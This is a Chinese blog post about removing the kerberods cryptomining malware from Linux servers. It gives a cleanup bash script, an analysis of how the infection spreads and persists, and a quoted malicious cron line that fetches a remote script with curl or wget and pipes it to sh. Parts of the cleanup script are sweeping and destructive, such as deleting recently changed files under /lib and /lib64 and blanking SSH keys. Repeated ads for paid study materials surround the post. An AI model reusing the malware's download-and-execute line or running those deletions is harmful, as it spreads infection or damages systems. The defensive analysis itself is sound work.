Linux 服务器感染kerberods 病毒_busybox chattr -ia

先自我介绍一下,小编浙江大学毕业,去过华为、字节跳动等大厂,目前阿里P7

深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年最新软件测试全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img
img
img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上软件测试知识点,真正体系化!

由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新

如果你需要这些资料,可以添加V获取:vip1024b (备注软件测试)
img

正文

1 #!/bin/bash
2 #可以重复执行几次,防止互相拉起导致删除失败
3
4 function installBusyBox(){
5 #参考第一段
6 busybox|grep BusyBox |grep v
7 }
8
9 function banHosts(){
10 #删除免密认证,防止继续通过ssh进行扩散,后续需自行恢复,可不执行
11 busybox echo “” > /root/.ssh/authorized_keys
12 busybox echo “” > /root/.ssh/id_rsa
13 busybox echo “” > /root/.ssh/id_rsa.pub
14 busybox echo “” > /root/.ssh/known_hosts
15 #busybox echo “” > /root/.ssh/auth
16 #iptables -I INPUT -p tcp --dport 445 -j DROP
17 busybox echo -e “\n0.0.0.0 pastebin.com\n0.0.0.0 thyrsi.com\n0.0.0.0 systemten.org” >> /etc/hosts
18 }
19
20
21 function fixCron(){
22 #修复crontab
23 busybox chattr -i /etc/cron.d/root 2>/dev/null
24 busybox rm -f /etc/cron.d/root
25 busybox chattr -i /var/spool/cron/root 2>/dev/null
26 busybox rm -f /var/spool/cron/root
27 busybox chattr -i /var/spool/cron/tomcat 2>/dev/null
28 busybox rm -f /var/spool/cron/tomcat
29 busybox chattr -i /var/spool/cron/crontabs/root 2>/dev/null
30 busybox rm -f /var/spool/cron/crontabs/root
31 busybox rm -rf /var/spool/cron/tmp.*
32 busybox rm -rf /var/spool/cron/crontabs
33 busybox touch /var/spool/cron/root
34 busybox chattr +i /var/spool/cron/root
35 }
36
37 function killProcess(){
38 #修复异常进程
39 #busybox ps -ef | busybox grep -v grep | busybox grep ‘khugepageds’ | busybox awk ‘{print $1}’ |busybox sed “s/root//g” | busybox xargs kill -9 2>/dev/null
40 #busybox ps -ef | busybox grep -v grep | busybox egrep ‘ksoftirqds’ | busybox awk ‘{print $1}’ |busybox sed “s/root//g” | busybox xargs kill -9 2>/dev/null
41 #busybox ps -ef | busybox grep -v grep | busybox egrep ‘kthrotlds’ | busybox awk ‘{print $1}’ |busybox sed “s/root//g” | busybox xargs kill -9 2>/dev/null
42 #busybox ps -ef | busybox grep -v grep | busybox egrep ‘kpsmouseds’ | busybox awk ‘{print $1}’ |busybox sed “s/root//g” | busybox xargs kill -9 2>/dev/null
43 #busybox ps -ef | busybox grep -v grep | busybox egrep ‘kintegrityds’ | busybox awk ‘{print $1}’ |busybox sed “s/root//g” | busybox xargs kill -9 2>/dev/null
44 busybox ps -ef | busybox grep -v grep | busybox grep ‘/usr/sbin/kerberods’ | busybox awk ‘{print $1}’ |busybox sed “s/root//g” | busybox xargs kill -9 2>/dev/null
45 busybox ps -ef | busybox grep -v grep | busybox grep ‘/usr/sbin/sshd’ | busybox awk ‘{print $1}’ |busybox sed “s/root//g” | busybox xargs kill -9 2>/dev/null
46 busybox ps -ef | busybox grep -v grep | busybox egrep ‘/tmp/kauditds’ | busybox awk ‘{print $1}’ |busybox sed “s/root//g” | busybox xargs kill -9 2>/dev/null
47 busybox ps -ef | busybox grep -v grep | busybox egrep ‘/tmp/sshd’ | busybox awk ‘{print $1}’ |busybox sed “s/root//g” | busybox xargs kill -9 2>/dev/null
48 busybox rm -f /tmp/khugepageds
49 busybox rm -f /tmp/migrationds
50 busybox rm -f /tmp/sshd
51 busybox rm -f /tmp/kauditds
52 busybox rm -f /tmp/migrationds
53 busybox rm -f /usr/sbin/sshd
54 busybox rm -f /usr/sbin/kerberods
55 busybox rm -f /usr/sbin/kthrotlds
56 busybox rm -f /usr/sbin/kintegrityds
57 busybox rm -f /usr/sbin/kpsmouseds
58 busybox find /tmp -mtime -4 -type f | busybox xargs busybox rm -rf
59 }
60
61
62 function clearLib(){
63 #修复动态库
64 busybox chattr -i /etc/ld.so.preload
65 busybox rm -f /etc/ld.so.preload
66 busybox rm -f /usr/local/lib/libcryptod.so
67 busybox rm -f /usr/local/lib/libcset.so
68 busybox chattr -i /etc/ld.so.preload 2>/dev/null
69 busybox chattr -i /usr/local/lib/libcryptod.so 2>/dev/null
70 busybox chattr -i /usr/local/lib/libcset.so 2>/dev/null
71 busybox find /usr/local/lib/ -mtime -4 -type f| busybox xargs rm -rf
72 busybox find /lib/ -mtime -4 -type f| busybox xargs rm -rf
73 busybox find /lib64/ -mtime -4 -type f| busybox xargs rm -rf
74 busybox rm -f /etc/ld.so.cache
75 busybox rm -f /etc/ld.so.preload
76 busybox rm -f /usr/local/lib/libcryptod.so
77 busybox rm -f /usr/local/lib/libcset.so
78 busybox rm -rf /usr/local/lib/libdevmapped.so
79 busybox rm -rf /usr/local/lib/libpamcd.so
80 busybox rm -rf /usr/local/lib/libdevmapped.so
81 busybox touch /etc/ld.so.preload
82 busybox chattr +i /etc/ld.so.preload
83 ldconfig
84 }
85
86 function clearInit(){
87 #修复异常开机项
88 #chkconfig netdns off 2>/dev/null
89 #chkconfig –del netdns 2>/dev/null
90 #systemctl disable netdns 2>/dev/null
91 busybox rm -f /etc/rc.d/init.d/kerberods
92 busybox rm -f /etc/init.d/netdns
93 busybox rm -f /etc/rc.d/init.d/kthrotlds
94 busybox rm -f /etc/rc.d/init.d/kpsmouseds
95 busybox rm -f /etc/rc.d/init.d/kintegrityds
96 busybox rm -f /etc/rc3.d/S99netdns
97 #chkconfig watchdogs off 2>/dev/null
98 #chkconfig --del watchdogs 2>/dev/null
99 #chkconfig --del kworker 2>/dev/null
100 #chkconfig --del netdns 2>/dev/null
101 }
102
103 function recoverOk(){
104 service crond start
105 busybox sleep 3
106 busybox chattr -i /var/spool/cron/root
107 # 将杀毒进程加入到定时任务中,多次杀毒
108 echo “*/10 * * * * /root/kerberods_kill.sh” | crontab -
109 # 恢复被劫持的sshd 服务
110 #busybox cp ~/sshd_new /usr/sbin/sshd
111 #service sshd restart
112 echo “OK,BETTER REBOOT YOUR DEVICE”
113 }
114
115 #先停止crontab服务
116 echo “1| stop crondtab service!”
117 service crond stop
118 #防止病毒继续扩散
119 echo “2| banHosts!”
120 banHosts
121 #清除lib劫持
122 echo “3| clearLib!”
123 clearLib
124 #修复crontab
125 echo “4| fixCron!”
126 fixCron
127 #清理病毒进程
128 echo “5| killProcess!”
129 killProcess
130 #删除异常开机项
131 echo "6| clearInit! "
132 clearInit
133 #重启服务和系统
134 echo “7| recover!”
135 recoverOk

查杀完成以后重启服务器,发现过段时间,登陆主机,无论本地还是ssh远程登陆,依然会有病毒进程被拉起,观察top里面的进程,并用pstree 回溯进程之间的关系,发现每次用户登陆就会有病毒进程被拉起,怀疑登陆时加载文件存在问题,逐个排查下列文件:

  • /etc/profile
  • ~/.profile
  • ~/.bash_login
  • ~/.bash_profile
  • ~/.bashrc
  • /etc/bashrc
    最后终于发现 /etc/bashrc 文件被加入了一些似曾相识的语句
    在这里插入图片描述

病毒分析

1、感染路径

攻击者通过网络进入第一台被感染的机器(redis未认证漏洞、ssh密码暴力破解登录等)。

第一台感染的机器会读取known_hosts文件,遍历ssh登录,如果是做了免密登录认证,则将直接进行横向传播。

2、病毒主要模块

  • 主恶意程序:kerberods
  • 恶意Hook库:libcryptod.so libcryptod.c
  • 挖矿程序:khugepageds
  • 恶意脚本文件:netdns (用作kerberods的启停等管理)
  • 恶意程序:sshd (劫持sshd服务,每次登陆均可拉起病毒进程)
    3、执行顺序
  • 执行恶意脚本下载命令
    在这里插入图片描述
  • 主进程操作

1 > 添加至开机启动,以及/etc/bashrc
2 > 生成了sshd文件 劫持sshd服务
3 > 将netdns文件设置为开机启动
4 > 编译libcryptod.c为/usr/local/lib/libcryptod.so
5 > 预加载动态链接库,恶意hook关键系统操作函数
6 > 修改/etc/cron.d/root文件,增加定时任务
7 > 拉起khugepageds挖矿进程

附病毒恶意进程代码

1 export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin
2
3 mkdir -p /tmp
4 chmod 1777 /tmp
5
6 echo “* * * * * (curl -fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org)|sh” | crontab -
7
8 ps -ef|grep -v grep|grep hwlh3wlh44lh|awk ‘{print $2}’|xargs kill -9
9 ps -ef|grep -v grep|grep Circle_MI|awk ‘{print $2}’|xargs kill -9
10 ps -ef|grep -v grep|grep get.bi-chi.com|awk ‘{print $2}’|xargs kill -9

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化的资料的朋友,可以添加V获取:vip1024b (备注软件测试)
img

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。**

需要这份系统化的资料的朋友,可以添加V获取:vip1024b (备注软件测试)
[外链图片转存中…(img-QGTHHD4g-1713330879145)]

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

  • 30
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值